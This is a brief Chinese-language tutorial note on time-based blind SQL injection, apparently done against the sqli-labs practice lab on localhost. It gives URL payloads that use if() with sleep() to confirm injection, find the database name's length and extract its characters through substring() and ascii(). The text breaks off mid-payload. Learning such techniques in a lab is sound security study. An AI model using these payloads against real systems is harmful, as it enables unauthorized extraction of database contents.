延时注入和布尔盲注差不多
为什么要延时
因为有的时候我们知道这个地方存在注入但是页面返回信息一样
加了个if延时条件判断
if(条件,是,否)
http://localhost/Less-9/index.php?id=1%27%20and%20if( 1<2,sleep(10),1)--%201
返回14秒
http://localhost/Less-9/index.php?id=1%27%20and%20if( 1>2,sleep(10),1)--%201
正常返回4秒
length(database())=1
获取到了数据库长度
请求:localhost/Less-8/index.php?id=1' and if(length(database())=8,sleep(3),1) -- 11
返回:正常
用到两个函数
substring 截取字符串(1.截取哪个字符串, 2 从哪一位开始,3 取几位)
获取数据库库名:
http://localhost/Less-8/index.php?id=1' and if((select substring(database(),1,1))='s',sleep(3),1) -- 1 获取库名的第一位
ascii
http://localhost/Less-8/index.php?id=1' and if((select ascii(substring(database(),